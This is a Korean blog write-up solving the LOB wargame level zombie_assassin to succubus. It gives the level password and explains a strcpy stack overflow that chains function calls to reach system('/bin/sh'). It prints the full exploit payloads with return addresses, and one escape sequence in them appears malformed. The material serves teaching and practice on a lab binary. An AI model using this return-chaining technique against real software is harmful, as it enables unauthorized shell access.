LOB zombie_assassin -> succubus
ID : zombie_assassin
Passwd : no place to hide
접속해서 ls 명령어로 파일을 확인합니다.
소스코드가 굉장히 기네요. 연속 함수 호출 문제인데, strcpy() 부분에서 overflow가 발생하고 Return Address(argv[1]+44)가 DO() 함수의 주소여야 하는군요.
그리고 buffer+48부터 100byte까지는 사용 가능한 걸로 보입니다.
DO부터는 check라는 전역 변수로 꼭 DO() GYE() GUL() YUT() MO() 순서로 호출해야 하도록 만들어 놓았습니다. 그리고 MO()에서 cmd라는 인자를 받아서 system() 함수의 인자로 넘기는데, 이 인자를 &/bin/sh로 해주면 될 것 같습니다.
그럼 DO() GYE() GUL() YUT() MO() 함수의 주소를 알아보겠습니다.
그리고 “/bin/sh”의 주소를 알아야 하는데 이 부분은 100byte 공간을 사용할 수 있기 때문에 그 공간에 넣고 그 주소를 넘기도록 하겠습니다.
payload : ./succubus `python –c ‘print “A”*44 + “\xec\x87\x04\x08”(DO()) + “\xbc\87\x04\x08”(GYE()) + “\x8c\x87\x04\x08”(GUL()) + “\x5c\x87\x04\x08”(YUT()) + “\x24\x87\x04\x08”(MO()) + “AAAA”(MO()’s Return Address(dummy)) + “BBBB”(&/bin/sh) + “/bin/sh”’`
core 파일을 열어보면,
이렇게 AAAA 다음 BBBB 다음 /bin/sh가 나오는 것을 볼 수 있다.
즉, /bin/sh의 주소는 0xbffffa68입니다. BBBB 부분을 /bin/sh의 주소로 변조합시다.
payload : ./succubus `python –c ‘print “A”*44 + “\xec\x87\x04\x08”(DO()) + “\xbc\87\x04\x08”(GYE()) + “\x8c\x87\x04\x08”(GUL()) + “\x5c\x87\x04\x08”(YUT()) + “\x24\x87\x04\x08”(MO()) + “AAAA”(MO()’s Return Address(dummy)) + “\x68\xfa\xff\xbf"(&/bin/sh) + “/bin/sh”’`
공격하겠습니다.
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB nightmare -> xavius Write up (0) | 2017.11.15 |
---|---|
LOB succubus -> nightmare Write up (0) | 2017.11.14 |
LOB assassin -> zombie_assassin Write up (0) | 2017.11.12 |
LOB giant -> assassin Write up (0) | 2017.11.09 |
LOB bugbear -> giant Write up (0) | 2017.11.08 |